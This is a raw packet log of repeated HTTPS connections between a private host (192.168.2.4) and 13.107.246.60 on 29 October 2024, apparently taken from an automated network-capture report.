Oct 29, 2024 04:53:10.314914942 CET	443	49823	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.315030098 CET	49825	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.315043926 CET	443	49825	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.339989901 CET	443	49821	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.340183973 CET	443	49821	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.340245008 CET	49821	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.340303898 CET	49821	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.340303898 CET	49821	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.340339899 CET	443	49821	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.340365887 CET	443	49821	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.342931032 CET	49826	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.342942953 CET	443	49826	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.343023062 CET	49826	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.343161106 CET	49826	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.343173027 CET	443	49826	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.401571989 CET	443	49822	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.401922941 CET	443	49822	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.401993990 CET	49822	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.402024031 CET	49822	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.402044058 CET	443	49822	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.402065992 CET	49822	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.402079105 CET	443	49822	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.404124022 CET	49827	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.404140949 CET	443	49827	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.404223919 CET	49827	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.404341936 CET	49827	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.404352903 CET	443	49827	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.443717957 CET	443	49823	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.443924904 CET	443	49823	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.443993092 CET	49823	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.444041014 CET	49823	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.444041014 CET	49823	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.444060087 CET	443	49823	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.444081068 CET	443	49823	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.445929050 CET	49828	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.445971012 CET	443	49828	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:10.446036100 CET	49828	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.446147919 CET	49828	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:10.446165085 CET	443	49828	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.018651962 CET	443	49824	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.019165993 CET	49824	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.019191027 CET	443	49824	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.019684076 CET	49824	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.019690037 CET	443	49824	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.046089888 CET	443	49825	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.046495914 CET	49825	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.046513081 CET	443	49825	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.047030926 CET	49825	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.047043085 CET	443	49825	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.078114033 CET	443	49826	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.078438044 CET	49826	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.078455925 CET	443	49826	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.078950882 CET	49826	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.078954935 CET	443	49826	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.128149986 CET	443	49827	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.128453016 CET	49827	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.128462076 CET	443	49827	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.128834009 CET	49827	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.128839016 CET	443	49827	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.156719923 CET	443	49824	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.156790972 CET	443	49824	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.156847000 CET	49824	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.157094002 CET	49824	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.157094002 CET	49824	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.157104969 CET	443	49824	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.157111883 CET	443	49824	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.159730911 CET	49829	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.159765005 CET	443	49829	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.159842968 CET	49829	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.159975052 CET	49829	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.159984112 CET	443	49829	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.176422119 CET	443	49825	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.176553011 CET	443	49825	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.176603079 CET	49825	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.176670074 CET	49825	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.176682949 CET	443	49825	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.176692963 CET	49825	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.176698923 CET	443	49825	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.178972960 CET	49830	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.179008961 CET	443	49830	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.179086924 CET	49830	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.179224014 CET	49830	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.179239988 CET	443	49830	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.184067965 CET	443	49828	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.184423923 CET	49828	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.184432983 CET	443	49828	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.184853077 CET	49828	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.184859037 CET	443	49828	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.209403992 CET	443	49826	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.209532022 CET	443	49826	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.209590912 CET	49826	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.209791899 CET	49826	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.209795952 CET	443	49826	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.212826014 CET	49831	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.212867022 CET	443	49831	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.212937117 CET	49831	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.213036060 CET	49831	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.213047981 CET	443	49831	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.275837898 CET	443	49827	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.276072025 CET	443	49827	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.276134014 CET	49827	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.276211977 CET	49827	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.276237011 CET	443	49827	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.276252031 CET	49827	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.276259899 CET	443	49827	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.279361963 CET	49832	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.279393911 CET	443	49832	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.279479027 CET	49832	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.279598951 CET	49832	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.279614925 CET	443	49832	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.312618017 CET	443	49828	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.312751055 CET	443	49828	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.312818050 CET	49828	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.312985897 CET	49828	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.312985897 CET	49828	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.312999010 CET	443	49828	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.313009977 CET	443	49828	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.315038919 CET	49833	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.315138102 CET	443	49833	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.315247059 CET	49833	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.315361023 CET	49833	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.315392971 CET	443	49833	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.886889935 CET	443	49829	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.905112982 CET	49829	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.905124903 CET	443	49829	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.909758091 CET	443	49830	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.914280891 CET	49829	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.914287090 CET	443	49829	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.919306040 CET	49830	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.919378996 CET	443	49830	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.933048964 CET	49830	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:11.933065891 CET	443	49830	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:11.961380959 CET	443	49831	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.000937939 CET	49831	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.000950098 CET	443	49831	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.009783030 CET	49831	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.009790897 CET	443	49831	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.015357018 CET	443	49832	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.018999100 CET	49832	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.019012928 CET	443	49832	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.023300886 CET	49832	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.023308992 CET	443	49832	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.041306973 CET	443	49829	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.041538000 CET	443	49829	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.041610003 CET	49829	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.049896002 CET	49829	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.049916029 CET	443	49829	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.049926043 CET	49829	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.049930096 CET	443	49829	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.059328079 CET	443	49830	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.059473038 CET	443	49830	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.059566975 CET	49830	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.073334932 CET	49830	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.073373079 CET	443	49830	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.073443890 CET	49830	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.073462009 CET	443	49830	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.096472025 CET	443	49833	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.137851000 CET	443	49831	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.138010979 CET	443	49831	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.138068914 CET	49831	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.139625072 CET	49833	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.148715019 CET	443	49832	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.148957968 CET	443	49832	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.149013996 CET	49832	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.164072990 CET	49833	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.164108038 CET	443	49833	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.164509058 CET	49833	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.164520979 CET	443	49833	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.164654016 CET	49831	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.164676905 CET	443	49831	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.164686918 CET	49831	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.164693117 CET	443	49831	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.175288916 CET	49834	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.175307989 CET	443	49834	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.175378084 CET	49834	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.175549030 CET	49834	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.175564051 CET	443	49834	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.176683903 CET	49832	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.176692963 CET	443	49832	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.176706076 CET	49832	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.176712036 CET	443	49832	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.180397034 CET	49835	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.180473089 CET	443	49835	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.180548906 CET	49835	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.181813002 CET	49836	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.181864023 CET	443	49836	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.181957960 CET	49836	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.182143927 CET	49835	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.182173014 CET	443	49835	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.183204889 CET	49837	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.183268070 CET	443	49837	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.183339119 CET	49837	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.183484077 CET	49837	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.183514118 CET	443	49837	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.183625937 CET	49836	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.183657885 CET	443	49836	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.303538084 CET	443	49833	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.303735018 CET	443	49833	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.303808928 CET	49833	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.303946018 CET	49833	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.303946018 CET	49833	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.303982973 CET	443	49833	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.304020882 CET	443	49833	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.306824923 CET	49838	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.306860924 CET	443	49838	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.306962013 CET	49838	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.307118893 CET	49838	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.307158947 CET	443	49838	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.899243116 CET	443	49834	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.901398897 CET	49834	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.901412010 CET	443	49834	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.902903080 CET	49834	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.902909994 CET	443	49834	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.916632891 CET	443	49837	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.917117119 CET	49837	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.917169094 CET	443	49837	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.918354034 CET	49837	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.918370008 CET	443	49837	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.930051088 CET	443	49836	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.931607962 CET	49836	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.931633949 CET	443	49836	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.931987047 CET	49836	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.931998968 CET	443	49836	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.940970898 CET	443	49835	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.941395998 CET	49835	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.941438913 CET	443	49835	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:12.941775084 CET	49835	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:12.941790104 CET	443	49835	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.034674883 CET	443	49834	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.034743071 CET	443	49834	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.034792900 CET	49834	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.034945965 CET	49834	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.034955978 CET	443	49834	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.034986019 CET	49834	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.034992933 CET	443	49834	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.037904024 CET	49839	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.037949085 CET	443	49839	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.038027048 CET	49839	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.038284063 CET	49839	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.038314104 CET	443	49839	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.045411110 CET	443	49837	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.045670986 CET	443	49837	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.045732021 CET	49837	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.045768976 CET	49837	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.045770884 CET	443	49838	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.045790911 CET	443	49837	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.045816898 CET	49837	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.045830011 CET	443	49837	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.049283028 CET	49838	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.049302101 CET	443	49838	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.049880028 CET	49838	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.049891949 CET	443	49838	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.052624941 CET	49840	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.052679062 CET	443	49840	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.052758932 CET	49840	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.052916050 CET	49840	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.052943945 CET	443	49840	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.061208010 CET	443	49836	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.061415911 CET	443	49836	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.061521053 CET	49836	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.061780930 CET	49836	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.061801910 CET	443	49836	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.061851978 CET	49836	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.061867952 CET	443	49836	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.064102888 CET	49841	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.064121008 CET	443	49841	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.064189911 CET	49841	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.064328909 CET	49841	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.064342976 CET	443	49841	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.073318005 CET	443	49835	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.073522091 CET	443	49835	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.073587894 CET	49835	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.073630095 CET	49835	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.073630095 CET	49835	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.073653936 CET	443	49835	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.073674917 CET	443	49835	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.075831890 CET	49842	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.075854063 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.075930119 CET	49842	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.076201916 CET	49842	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.076227903 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.186029911 CET	443	49838	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.186218977 CET	443	49838	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.186342001 CET	49838	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.200476885 CET	49838	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.200500965 CET	443	49838	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.200525045 CET	49838	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.200539112 CET	443	49838	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.203867912 CET	49843	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.203898907 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.203969955 CET	49843	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.204251051 CET	49843	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.204272032 CET	443	49843	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.768930912 CET	443	49839	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.770210028 CET	49839	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.770258904 CET	443	49839	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.770879030 CET	49839	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.770895958 CET	443	49839	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.779032946 CET	443	49840	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.781804085 CET	49840	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.781843901 CET	443	49840	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.782258034 CET	49840	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.782272100 CET	443	49840	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.819503069 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.820200920 CET	49842	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.820223093 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.820686102 CET	49842	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.820693016 CET	443	49842	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.840748072 CET	443	49841	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.841335058 CET	49841	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.841350079 CET	443	49841	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.841705084 CET	49841	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.841711044 CET	443	49841	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.905982971 CET	443	49839	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.905998945 CET	443	49839	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.906069040 CET	49839	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.906096935 CET	443	49839	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.906119108 CET	443	49839	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.906189919 CET	49839	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.906464100 CET	49839	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.906486988 CET	443	49839	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.906514883 CET	49839	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.906527996 CET	443	49839	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.909930944 CET	49844	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.909966946 CET	443	49844	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.910048962 CET	49844	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.910289049 CET	49844	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.910320997 CET	443	49844	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.922307968 CET	443	49840	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.922369003 CET	443	49840	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.922534943 CET	49840	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.922574043 CET	49840	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.922596931 CET	443	49840	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.922610044 CET	49840	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.922617912 CET	443	49840	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.925149918 CET	49845	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.925194979 CET	443	49845	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:13.925270081 CET	49845	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.925460100 CET	49845	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:13.925491095 CET	443	49845	13.107.246.60	192.168.2.4
